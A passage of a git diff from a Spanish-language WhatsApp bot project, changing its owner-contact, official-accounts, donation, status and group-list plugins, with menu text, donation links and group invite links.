-let bot = global.db.data.settings[conn.user.jid] || {}
-let name = await conn.getName(m.sender)
- let type = (args[0] || '').toLowerCase()
- let _type = (args[0] || '').toLowerCase()
-let totalreg = Object.keys(global.db.data.users).length
-let pp = gataVidMenu.getRandom()
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
- let vn = './media/creador.mp3'
-
-//------- Nombre
- let nowner = `${wm.split`@`[0]}@s.whatsapp.net`
- let teksnomor = `
-• @${wm.split`@`[0]} •
-------- ${wm} -------
-`
-
-//------------ BIO
-let ppown = await conn.profilePictureUrl(nomorown + '@s.whatsapp.net', 'image').catch(_ => imagen1[1])
-let teksbio = `
-*𝘾𝙤𝙣𝙩𝙖𝙘𝙩𝙤*
-*Wa.me/5492266466080 (no bot)*
-*Wa.me/573183650526 (bot)*
-*wa.me/14086414984 (bot ²)*
-`
- let teks = ' '
-const sections = [
- {
- title: `𝙋𝙍𝙊𝙋𝙄𝙀𝙏𝘼𝙍𝙄𝙊/𝙊𝙒𝙉𝙀𝙍`,
- rows: [
- {title: "🔰 • NUMERO", rowId: ".owner bio"},
- {title: "🌐 • CUENTAS OFICIALES", rowId: ".cuentasgb"},
- {title: "🙌 • GRUPOS", rowId: ".grupos"},
- ]
- },{
- title: `–––––––·• 𝘼𝙋𝙊𝙔𝘼 𝘼𝙇 𝘽𝙊𝙏 –––––––·•`,
- rows: [
- {title: "🤖 • INSTALARBOT", rowId: ".instalarbot"},
- {title: "🌟 • SC", rowId: "Sc"},
- ]
- },
-]
-
-const listMessage = {
-text: `~ *PROPIETARIO/OWNER DEL BOT*`,
-footer: `╭┄〔 *OWNER* 〕┄⊱
-┆ *Hola👋 ${name}*
-┆——————«•»——————
-┆• 𝙑𝙚𝙧𝙨𝙞𝙤𝙣 𝙙𝙚𝙡 𝙗𝙤𝙩: ${vs}
-┆———————————
-┆• 𝙏𝙤𝙩𝙖𝙡 𝙙𝙚𝙡 𝙐𝙨𝙪𝙖𝙧𝙞𝙤𝙨: *${totalreg}*
-┆———————————
-┆• 𝙈𝙤𝙙𝙤: ${global.db.data.settings[conn.user.jid].self ? '*Privado*' : '*Público*'}
-┆———————————
-┆• 𝙋𝙧𝙚𝙛𝙞𝙟𝙤: *${usedPrefix}*
-┆———————————
-┆• 𝙋𝙧𝙚𝙢𝙞𝙪𝙢: ${user.premiumTime > 0 ? 'Siu ✅' : 'No ❌'}
-┆———————————
-┆• 𝘾𝙝𝙖𝙩(𝙨) 𝙋𝙧𝙤𝙝𝙞𝙗𝙞𝙙𝙤(𝙨): ${Object.entries(global.db.data.chats).filter(chat => chat[1].isBanned).length}
-┆———————————
-┆• 𝙐𝙨𝙪𝙖𝙧𝙞𝙤(𝙨) 𝙋𝙧𝙤𝙝𝙞𝙗𝙞𝙙𝙤(𝙨): ${Object.entries(global.db.data.users).filter(user => user[1].banned).length}
-╰━━━⊰ 𓃠 ${vs} ⊱━━━━დ
-${wm}`,
-title: null,
-buttonText: `HAGA CLICK AQUI`,
-sections }
-
- try {
- if (/(contacto|owner|creator|propietario|dueño|dueña|propietaria|dueño|creadora|creador)/i.test(command)) {
- const count = args[1] && args[1].length > 0 ? Math.min(99999999, Math.max(parseInt(args[1]), 1)) : !args[1] || args.length < 3 ? 1 : Math.min(1, count)
- switch (type) {
- case 'nomor':
- conn.reply(m.chat, "LoliBot-MD", m, { contextInfo: { mentionedJid: [nowner] }})
- break
- case 'bio':
- await conn.sendFile(m.chat, gataImg.getRandom(), 'gata.jpg', teksbio, fkontak)
- break
- default:
- return await conn.sendMessage(m.chat, listMessage, { quoted: m, contextInfo: { mentionedJid: [m.sender] }})
- }
- } else if (/aoaooaoaooaoa/i.test(command)) {
- const count = args[2] && args[2].length > 0 ? Math.min(99999999, Math.max(parseInt(args[2]), 1)) : !args[2] || args.length < 4 ? 1 :Math.min(1, count)
- switch (_type) {
- case 't':
- break
- case '':
- break
-
- default:
- return await conn.sendFile(m.chat, gataImg.getRandom(), 'gata.jpg', teksbio, fkontak)
- }
- }
- } catch (err) {
- m.reply("Error\n\n\n" + err.stack)
- }
-conn.sendFile(m.chat, vn, 'creador.mp3', null, m, true, { type: 'audioMessage', ptt: true, sendEphemeral: true })
-}
-handler.help = ['owner', 'creator']
-handler.tags = ['info']
-handler.command = /^(contacto|owner|creator|propietario|dueño|dueña|propietaria|dueño|creadora|creador)$/i
-
-export default handler
diff --git a/plugins/info-cuentas-oficiales.js b/plugins/info-cuentas-oficiales.js
deleted file mode 100644
index 3774f086a..000000000
--- a/plugins/info-cuentas-oficiales.js
+++ /dev/null
@@ -1,42 +0,0 @@
-let media = './media/menus/Menuvid2.mp4'
-let handler = async (m, { conn, command }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let str = `🔰 𝘽𝙞𝙚𝙣𝙫𝙚𝙣𝙞𝙙𝙤 𝙖𝙡 𝙡𝙖𝙨 𝙘𝙪𝙚𝙣𝙩𝙖𝙨 𝙤𝙛𝙞𝙘𝙞𝙖𝙡𝙚𝙨
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
- 𝙉𝙪𝙢𝙚𝙧𝙤 𝙙𝙚𝙡 𝙗𝙤𝙩 𝙤𝙛𝙘
-🔰 *Wa.me/14086414984
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ 𝙂𝙞𝙩𝙝𝙪𝙗
-*${md}*
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ 𝙂𝙧𝙪𝙥𝙤𝙨 𝙤𝙛𝙞𝙘𝙞𝙖𝙡 𝙙𝙚𝙡 𝙗𝙤𝙩
-1) *${nn}*\n
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-2) *${nnn}*\n
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ 𝙖𝙦𝙪𝙞́ 𝙨𝙚 𝙙𝙖𝙧 𝙖𝙘𝙩𝙪𝙖𝙡𝙞𝙯𝙖𝙘𝙞𝙤𝙣 𝙮 𝙣𝙤𝙫𝙚𝙙𝙖𝙙𝙚𝙨 𝙙𝙚𝙡 𝙗𝙤𝙩
- *${nna}*\n
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ 𝙂𝙧𝙪𝙥𝙤 𝙖𝙨𝙞𝙨𝙩𝙚𝙣𝙘𝙞𝙖 𝙛𝙖𝙘𝙚𝙗𝙤𝙤𝙠
-*https://facebook.com/groups/872989990425789/*
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ 𝙂𝙧𝙪𝙥𝙤 𝙩𝙚𝙡𝙚𝙜𝙧𝙖𝙢
-*https://t.me/+EcdN9fktnQQwY2Ex*
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ *𝙏𝙞𝙠𝙩𝙤𝙠*
- *${ig}*
- ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-✅ 𝙔𝙤𝙪𝙏𝙪𝙗𝙚
-*${yt}*
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙎𝙞 𝙩𝙞𝙚𝙣𝙚𝙣 𝙙𝙪𝙙𝙖𝙨, 𝙨𝙪𝙜𝙚𝙧𝙚𝙣𝙘𝙞𝙖𝙨, 𝙤 𝙥𝙧𝙚𝙜𝙪𝙣𝙩𝙖𝙨 𝗲𝘀𝗰𝗿𝗶𝗯𝗶 𝗽𝗼𝗿 𝗲𝗹 𝗴𝗿𝘂𝗽𝗼`
-await conn.sendFile(m.chat, media, 'gata.mp4', str, fkontak)}
-//await conn.sendFile(m.chat, media, str, fkontak)
-/*conn.sendButton(m.chat, str, ``, media, [
-['𝙂𝙧𝙪𝙥𝙤𝙨 𝙊𝙛𝙞𝙘𝙞𝙖𝙡𝙚𝙨 🔰', '.grupos'],
-['𝘾𝙧𝙚𝙖𝙙𝙤𝙧 💗', '#owner'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']], m)}*/
-
-handler.command = /^cuentasoficiales|gataig|cuentasgb|cuentagb|accounts|gataaccounts|account|iggata|cuentasdeloli|cuentasdelolibot|cuentalolibot|cuentasgatabot$/i
-handler.exp = 35
-export default handler
diff --git a/plugins/info-donar.js b/plugins/info-donar.js
index 6b1ac5179..ee6057fac 100644
--- a/plugins/info-donar.js
+++ b/plugins/info-donar.js
@@ -1,69 +1,60 @@
-let media = './media/menus/Menu4paypal.jpg'
+import fs from 'fs';
let handler = async (m, { conn, command }) => {
-let pp = './src/apoyo.jpg'
-/*
-//await conn.sendButton(m.chat, wm, `https://paypal.me/OficialGD`, pp, m)
-await conn.sendButton(m.chat, ``, `https://paypal.me/OficialGD`, pp, [['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `/menu`]], m) //[['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `/menu`]]
- */
-let name = await conn.getName(m.sender)
-await conn.sendMessage(m.chat, {
-text: `*┏ ┅ ━━━━━━━━━ ┅ ━*
-*┇ 💖 ʜᴏʟᴀ ${name} 👋*
-*┇ ᴛᴇ ᴀɢʀᴀᴅᴇᴢᴄᴏ, ᴘᴏʀ ᴀʏᴜᴅᴀʀᴍᴇ ʏ ᴘᴏʀ ᴜsᴀʀ ᴍɪ ʙᴏᴛ*
-*┇ ɢʀᴀᴄɪᴀs, ʏᴏ ɴᴏ ᴘɪᴅᴏ ᴅɪɴᴇʀᴏ.*
-*┇ ɴᴏ ᴛᴇɴɢᴏ ᴘᴀʏᴘᴀʟ. sᴏᴍᴏs ʜᴜᴍɪʟᴅᴇs,*
-*┇ ᴘᴇʀᴏ sɪ ǫᴜɪᴇʀᴇs ᴘᴜᴇᴅᴇ ᴀᴘᴏʏᴀʀ ᴀʟ ʙᴏᴛ.*
-*┇ sᴜsᴄʀɪʙɪᴇɴᴅᴏsᴇ ᴀʟ ᴄᴀɴᴀʟ ᴏғɪᴄɪᴀʟ ᴅᴇʟ ʙᴏᴛ*
-*┇ ᴘᴀʀᴀ ǫᴜᴇ ᴄᴀᴅᴀ ᴠᴇᴢ sᴏᴍᴏs ᴍᴀs ᴇʟ ʟᴀ ғᴀᴍɪʟɪᴀs ʟᴏʟɪʙᴏᴛ*
-*┇ ʏᴀ ᴄᴏɴ ᴇsᴏ sᴏʏ ғᴇʟɪᴢ.😄*
-*┇ ʏ ᴀᴘᴏʏᴀʀʟᴏs ᴄᴏɴ ᴜɴᴀ 🌟 ᴇʟ ɢɪᴛʜᴜʙ ᴏғɪᴄɪᴀʟ ᴅᴇʟ ʙᴏᴛ*
-*┃* ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-*┃* *ʏᴏᴜᴛᴜʙᴇ | sᴜsᴄʀɪʙɪʀᴛᴇ 🔕*
-*┃* *${yt}*
-*┃* ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-*┃* *ɢɪᴛʜᴜʙ 🌟*
-*┃* *${md}*
-*┃* ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-*┃* *ᴛɪᴋᴛᴏᴋ*
-*┃* *${ig}*
-*┃* ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-*┃* *ғᴀᴄᴇʙᴏᴏᴋ*
-*┃* *https://facebook.com/groups/872989990425789/*
-*┃* ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-*┃* *ᴀɢʀᴀᴄɪᴍɪᴇɴᴛᴏs:*
-*┃* *ᴛʜᴇ-ʟᴏʟɪʙᴏᴛ-ᴍᴅ ᴛɪᴇɴᴇ ғᴜɴᴄɪᴏɴᴇs ǫᴜᴇ*
-*┃* *ᴘᴇʀᴛᴇɴᴇᴢᴄᴀɴ ᴀ ʟᴀs sɪɢᴜᴇɴᴛᴇs ᴇᴍᴘʀᴇsᴀs*
-*┃* *ᴏʀɢᴀɴɪᴢᴀᴄɪᴏɴ(ᴇs) ᴘᴇʀsᴏɴᴀ(s):*
-*┃* ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-*┃* *ᴛʜᴇᴍʏsᴛɪᴄ-ʙᴏᴛ-ᴍᴅ*
-*┃* *https://github.com/BrunoSobrino*
-*┃* ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-*┃* *ɢᴀᴛᴀʙᴏᴛ-ᴍᴅ*
-*┃* *https://github.com/GataNina-Li/GataBot-MD*
-*┃* *ɢʀᴀᴄɪᴀs!!*
-*┗ ┅ ━━━━━━━━━ ┅ ━*`,
-contextInfo:{
+let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
+let pp = fs.readFileSync('./media/Menu2.jpg');
+let name = m.pushName
+let txt = `*\`[💖 DONACION 💖 ]\`*
+
+✨ ¡Hola ${name}! ✨
+
+¡𝘎𝘳𝘢𝘤𝘪𝘢𝘴 𝘱𝘰𝘳 𝘶𝘴𝘢𝘳 *${info.wm}*, 𝘵𝘶 𝘣𝘰𝘵 𝘨𝘳𝘢𝘵𝘶𝘪𝘵𝘰 𝘧𝘢𝘷𝘰𝘳𝘪𝘵𝘰! 🌟 𝘛𝘶 𝘢𝘱𝘰𝘺𝘰 𝘦𝘴 𝘧𝘶𝘯𝘥𝘢𝘮𝘦𝘯𝘵𝘢𝘭 𝘱𝘢𝘳𝘢 𝘮𝘢𝘯𝘵𝘦𝘯𝘦𝘳 𝘦𝘴𝘵𝘦 𝘱𝘳𝘰𝘺𝘦𝘤𝘵𝘰 𝘦𝘯 𝘮𝘢𝘳𝘤𝘩𝘢 𝘺 𝘴𝘪𝘦𝘮𝘱𝘳𝘦 𝘢𝘤𝘵𝘶𝘢𝘭𝘪𝘻𝘢𝘥𝘰. 𝘚𝘪 𝘲𝘶𝘪𝘦𝘳𝘦𝘴 𝘤𝘰𝘯𝘵𝘳𝘪𝘣𝘶𝘪𝘳 𝘺 𝘴𝘦𝘳 𝘱𝘢𝘳𝘵𝘦 𝘥𝘦 𝘦𝘴𝘵𝘢 𝘢𝘷𝘦𝘯𝘵𝘶𝘳𝘢, 𝘱𝘶𝘦𝘥𝘦𝘴 𝘩𝘢𝘤𝘦𝘳𝘭𝘰 𝘢 𝘵𝘳𝘢𝘷𝘦́𝘴 𝘥𝘦 𝘗𝘢𝘺𝘗𝘢𝘭 𝘰 𝘔𝘦𝘳𝘤𝘢𝘥𝘰 𝘗𝘢𝘨𝘰. 🙏
+
+─────────────────────
+
+*💸 𝘗𝘢𝘺𝘗𝘢𝘭:*
+https://paypal.me/OficialGD
+*💸 𝘔𝘦𝘳𝘤𝘢𝘥𝘰 𝘗𝘢𝘨𝘰:*
+*• 𝘈𝘭𝘪𝘢𝘴:* OficialGB
+*• 𝘊𝘝𝘜:* 0000003100059201491917
+
+─────────────────────
+
+🎁 *𝘖𝘵𝘳𝘢𝘴 𝘧𝘰𝘳𝘮𝘢𝘴 𝘥𝘦 𝘢𝘱𝘰𝘺𝘢𝘳:*
+> 𝘚𝘪 𝘱𝘳𝘦𝘧𝘪𝘦𝘳𝘦𝘴 𝘢𝘺𝘶𝘥𝘢𝘳 𝘥𝘦 𝘰𝘵𝘳𝘢 𝘮𝘢𝘯𝘦𝘳𝘢, 𝘱𝘶𝘦𝘥𝘦𝘴 𝘥𝘰𝘯𝘢𝘳 𝘶𝘯 𝘯𝘶́𝘮𝘦𝘳𝘰 𝘱𝘢𝘳𝘢 𝘤𝘰𝘯𝘷𝘦𝘳𝘵𝘪𝘳𝘭𝘰 𝘦𝘯 𝘣𝘰𝘵, 𝘰 𝘤𝘰𝘯𝘵𝘢𝘤𝘵𝘢𝘳 𝘥𝘪𝘳𝘦𝘤𝘵𝘢𝘮𝘦𝘯𝘵𝘦 𝘤𝘰𝘯 𝘮𝘪 𝘤𝘳𝘦𝘢𝘥𝘰𝘳. ¡𝘛𝘢𝘮𝘣𝘪𝘦́𝘯 𝘱𝘶𝘦𝘥𝘦𝘴 𝘴𝘦𝘨𝘶𝘪𝘳𝘯𝘰𝘴 𝘺 𝘢𝘱𝘰𝘺𝘢𝘳𝘯𝘰𝘴 𝘦𝘯 𝘯𝘶𝘦𝘴𝘵𝘳𝘢𝘴 𝘳𝘦𝘥𝘦𝘴 𝘴𝘰𝘤𝘪𝘢𝘭𝘦𝘴! 👇
+
+🔔 *𝘠𝘰𝘶𝘛𝘶𝘣𝘦 - 𝘚𝘶𝘴𝘤𝘳𝘪́𝘣𝘦𝘵𝘦*
+${info.yt}
+
+🌟 *𝘎𝘪𝘵𝘏𝘶𝘣 - 𝘋𝘢𝘭𝘦 𝘶𝘯𝘢 𝘦𝘴𝘵𝘳𝘦𝘭𝘭𝘢 ⭐*
+${info.md}
+
+🔗 *𝘌𝘯𝘭𝘢𝘤𝘦𝘴 𝘖𝘧𝘪𝘤𝘪𝘢𝘭𝘦𝘴 𝘦𝘯 𝘶𝘯 𝘜́𝘯𝘪𝘤𝘰 𝘓𝘶𝘨𝘢𝘳:*
+https://atom.bio/lolibot
+
+👍 *𝘍𝘢𝘤𝘦𝘣𝘰𝘰𝘬:*
+${info.fb}
+
+💕 *IG:*
+${info.ig}
+
+> ɢʀᴀᴄɪᴀs 💕`
+await conn.sendFile(m.chat, pp, 'error.jpg', txt, fkontak, null, { contextInfo: {
forwardingScore: 9999999,
isForwarded: true,
mentionedJid:[m.sender],
-"externalAdReply": {
-"showAdAttribution": true,
-"renderLargerThumbnail": true,
-"thumbnail": imagen3,
-"title": 'ᴾᵘᵉᵈᵉ ᵃᵖᵒʸᵃʳᵐᵉ ᶜᵒᵐᵖᵃʳᵗᶦᵉⁿᵈᵒ ᵉˢᵗᵒˢ ʸ ˢᶦ ᵗᵉ ᵃᵍʳᵃᵈᵃ ᵉˡ ᴮᵒᵗ ʳᵉᵍᵃˡᵃʳᵐᵉ ᵘⁿᵃ ⭐ ᴳʳᵃᶜᶦᵃˢ',
-"containsAutoReply": true,
-"mediaType": 1,
-"mediaUrl": md,
-"sourceUrl": md,
-}}}, { quoted: m })
-// await conn.sendButton(m.chat, `a`, `https://paypal.me/OficialGD`, pp, [['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `/menu`]], m) //[['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `/menu`]]
-/*await conn.sendHydrated(m.chat, str, wm, media, 'https://github.com/elrebelde21/The-LoliBot-MD', 'ɢɪᴛʜᴜʙ', null, null, [
-['𝙂𝙧𝙪𝙥𝙤𝙨 𝙊𝙛𝙞𝙘𝙞𝙖𝙡𝙚𝙨 🔰', '.grupos'],
-['𝘾𝙧𝙚𝙖𝙙𝙤𝙧 💗', '#owner'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m,)}*/
+externalAdReply: {
+showAdAttribution: false,
+renderLargerThumbnail: false,
+title: 'ᴾᵘᵉᵈᵉ ᵃᵖᵒʸᵃʳ ⁿᵘᵉˢᵗʳᵒ ʳᵉᵖᵒˢᶦᵗᵒʳᶦᵒ ᶜᵒⁿ ᵘⁿᵃ ᵉˢᵗʳᵉˡˡᶦᵗᵃˢ ⭐',
+body: info.wm,
+mediaType: 2,
+thumbnailUrl: m.pp,
+mediaUrl: info.md,
+sourceUrl: info.md,
+}}});
}
+handler.help = ['donar']
+handler.tags = ['main']
handler.command = /^dona(te|si)|donar|apoyar|paypal|donating|creditos$/i
-handler.exp = 80
handler.register = true
export default handler
diff --git a/plugins/info-estado.js b/plugins/info-estado.js
index ff8d3bd57..e230ab036 100644
--- a/plugins/info-estado.js
+++ b/plugins/info-estado.js
@@ -1,10 +1,5 @@
-/**
-POR FAVOR TENGAN LA AMABILIDAD Y BONDAD DE NO CAMBIAR MÍNIMAMENTE LOS CRÉDITOS DE LOLIBOT-MD,
-SI VAS A AÑADIR TUS DATOS O CRÉDITOS, ESTA BIEN. PERO NO QUITEN LOS QUE YA ESTAN DE LOLIBOT-MD, GRACIAS
-**/
let handler = async (m, { conn, command, usedPrefix }) => {
-let picture = './media/menus/Menu1.jpg'
-let name = await conn.getName(m.sender)
+let name = m.pushName
let usuario = `${m.sender.split("@")[0]}`
let aa = usuario + '@s.whatsapp.net'
let _uptime = process.uptime() * 1000
@@ -16,7 +11,7 @@ let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status
let uptime = clockString(_uptime)
let estado = `${pickRandom([`*┌───⊷ *ミ🤖 Estado del Bot 🤖彡*\n┆ *=> Bot activo ✅*\n┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n┆ *=> Bot uso público ✅️*\n┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n┆=> 𝘼𝙘𝙩𝙞𝙫𝙤 𝙙𝙪𝙧𝙖𝙣𝙩𝙚\n┆=> ${uptime} ✅\n╰──────────────────`, `*Online ${uptime} ✅*`, `*Saturado 🥵*`, `Estoy activo desde: ${uptime}`, `Estamos activo papu 🤙`])}
`.trim()
-await conn.sendMessage(m.chat, {text: estado, mentions: [m.sender]}, {quoted: fkontak})
+await conn.fakeReply(m.chat, estado, m.sender, `Uptime: ${uptime}`, 'status@broadcast');
/*await conn.reply(m.chat, `┌───⊷ *ミ🤖 Estado del Bot 🤖彡*
┆ *=> Bot activo ✅*
┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
@@ -30,9 +25,9 @@ handler.help = ['estado']
handler.tags = ['main']
handler.command = /^(estado|status|estate|state|stado|stats|botstat(us)?)$/i
export default handler
+
function pickRandom(list) {
- return list[Math.floor(Math.random() * list.length)]
-}
+return list[Math.floor(Math.random() * list.length)]}
function clockString(ms) {
let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
diff --git a/plugins/info-grouplist.js b/plugins/info-grouplist.js
new file mode 100644
index 000000000..f4540d71a
--- /dev/null
+++ b/plugins/info-grouplist.js
@@ -0,0 +1,39 @@
+import { db } from '../lib/postgres.js';
+
+const handler = async (m, { conn }) => {
+const botId = (conn.user?.id || '').split(':')[0].replace('@s.whatsapp.net', '');
+let txt = '';
+try {
+const res = await db.query(`SELECT id FROM chats
+ WHERE is_group = true AND joined = true AND bot_id = $1`, [botId]);
+const grupos = res.rows;
+if (grupos.length === 0) return m.reply('❌ Este bot no está unido a ningún grupo.');
+
+for (let i = 0; i < grupos.length; i++) {
+const jid = grupos[i].id;
+const metadata = await conn.groupMetadata(jid).catch(() => null);
+if (!metadata) continue;
+const botJid = conn.user?.id?.replace(/:\d+/, '');
+const bot = metadata.participants.find(u => u.id === botJid) || {};
+const isBotAdmin = bot?.admin === 'admin' || bot?.admin === 'superadmin';
+const isParticipant = metadata.participants.some(u => u.id === botJid);
+const participantStatus = isParticipant ? '✅ *Estoy aquí*' : '❌ *No estoy aquí*';
+
+let link = '❌ No soy admin';
+if (isBotAdmin) {
+const code = await conn.groupInviteCode(jid).catch(() => null);
+if (code) link = `https://chat.whatsapp.com/${code}`;
+else link = '⚠️ Error al generar link';
+}
+
+txt += `${i + 1}. ${metadata.subject || 'Sin nombre'} | ${participantStatus}\n- *ID:* ${jid}\n- *Admin:* ${isBotAdmin ? 'Sí' : 'No'}\n- *Participantes:* ${metadata.participants.length}\n- *Link:* ${link}\n\n━━━━━━━━━━━━━━━\n\n`;
+}
+m.reply(`_*\`ESTÁ EN ESTOS GRUPOS:\`*_\n> *• Total grupo:* ${grupos.length}\n\n${txt}`.trim());
+} catch (err) {
+console.error(err);
+}};
+handler.help = ['groups', 'grouplist'];
+handler.tags = ['main'];
+handler.command = /^(groups|grouplist|listadegrupo|gruposlista|listagrupos|listadegrupos|grupolista|listagrupo)$/i;
+handler.register = true;
+export default handler;
diff --git a/plugins/info-grupos-lista.js b/plugins/info-grupos-lista.js
deleted file mode 100644
index 4c0c2aa71..000000000
--- a/plugins/info-grupos-lista.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import PhoneNumber from 'awesome-phonenumber'
-let handler = async (m, { conn, __dirname, isRowner, isOwner, isBotAdmin, usedPrefix, groupMetadata, groups, _package, participants }) => {
-const fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net"
-}
-
-let txt
-const chats = Object.entries(conn.chats).filter(([jid, data]) => jid && data.isChats)
-groups = Object.values(await conn.groupFetchAllParticipating())
-txt = `${lb} ${lenguajeGB.smsLisA()}
-${lenguajeGB.smsLisB()} ${groups.length}\n`
-
-for (let i = 0; i < groups.length; i++) {
-txt += `
-${lenguajeGB.smsLisC()} ${groups[i].subject}
-${lenguajeGB.smsLisD()} ${groups[i].id}
-${isOwner ? `${lenguajeGB.smsLisE()} ${groups[i].participants.length}` : ''}\n\n`
-}
-m.reply(txt.trim())
-}
-handler.help = ['groups', 'grouplist']
-handler.tags = ['info']
-handler.command = /^(groups|grouplist|listadegrupo|gruposlista|listagrupos|listadegrupos|grupolista|listagrupo)$/i
-handler.exp = 5
-handler.register = true
-export default handler
diff --git a/plugins/info-gruposofc.js b/plugins/info-gruposofc.js
index 4ba35cedd..eeb6734ef 100644
--- a/plugins/info-gruposofc.js
+++ b/plugins/info-gruposofc.js
@@ -1,35 +1,34 @@
-
let handler = async (m, { conn, usedPrefix: _p }) => {
-let info = `
-*Hola 👋🏻, Bienvenido a los grupos oficiales, te invito a unete a los grupos oficiales para pasar un rato agradable usando el Bot o platicando con la familia de LoliBot-MD 😸*
-
-➤ Grupos oficiales del bot:
-1) *${nn}*
+let texto = `*✅ BIENVENIDO A LOS GRUPOS OFICIALES*
-2) *${nnn}*
+ 1) *${info.nn}*
+
+ 2) *${info.nn2}*
-➤ Grupo del Colaboracion LoliBot, GataBot-MD
- *${nnnt}*
+➤ Grupo del Colaboracion LoliBot & GataBot-MD
+ *${info.nn3}*
-➤ Grupo del colaboración LoliBot, DorratBot-MD
-*${nnnt2}*
+➤ Grupo soporte para responder a tu dudas/sugerencia/etc
+${info.nn6}
+
+➤ Infomarte sobre las nuevas actualizaciones/novedades/test sobre LoliBot aqui:
+*${nna}*
-➤ Grupo del col 3 (sin limite)
-*${nnntt}*
+ ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-➤ Infomarte sobre las nuevas actualizaciones del bot
- *${nna}*
-
-➤ Grupos del ayuda sobre el bot
- *${nnntttt}*
-
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
+⇶⃤꙰𝑬𝒏𝒍𝒂𝒄𝒆 𝒍𝒐𝒍𝒊𝒃𝒐𝒕ꦿ⃟⃢
+*${info.nn4}*
-*⇶⃤꙰𝑬𝒏𝒍𝒂𝒄𝒆 𝒍𝒐𝒍𝒊𝒃𝒐𝒕ꦿ⃟⃢*
-*${nnnttt}*`.trim()
+ᥫ᭡༶A༶T༶M༶M༶ᰔᩚ
+*${info.nn5}*
-conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿', 'status@broadcast')
+๋࣭ 𝑇ℎ𝑒 𝑊𝑜𝑟𝑙𝑑 (。•̀ᴗ-)✧💛
+https://chat.whatsapp.com/Csf3E6f2teh2wy3LXfbYRS?mode=ems_copy_c`.trim()
+conn.reply(m.chat, texto, m)
+//conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿', 'status@broadcast')
}
+handler.help = ['grupos']
+handler.tags = ['main']
handler.command = /^linkgc|grupos|gruposgatabot|gatabotgrupos|gruposdegatabot|groupofc|gruposgb|grupogb|groupgb$/i
-
+handler.register = true
export default handler
diff --git a/plugins/info-horario.js b/plugins/info-horario.js
deleted file mode 100644
index 8b3f863b8..000000000
--- a/plugins/info-horario.js
+++ /dev/null
@@ -1,55 +0,0 @@
-import moment from 'moment-timezone'
-
-let handler = async (m, { conn }) => {
-const fechaper = moment().tz('America/Lima').format('DD/MM HH:mm')
-const fechamex = moment().tz('America/Mexico_City').format('DD/MM HH:mm')
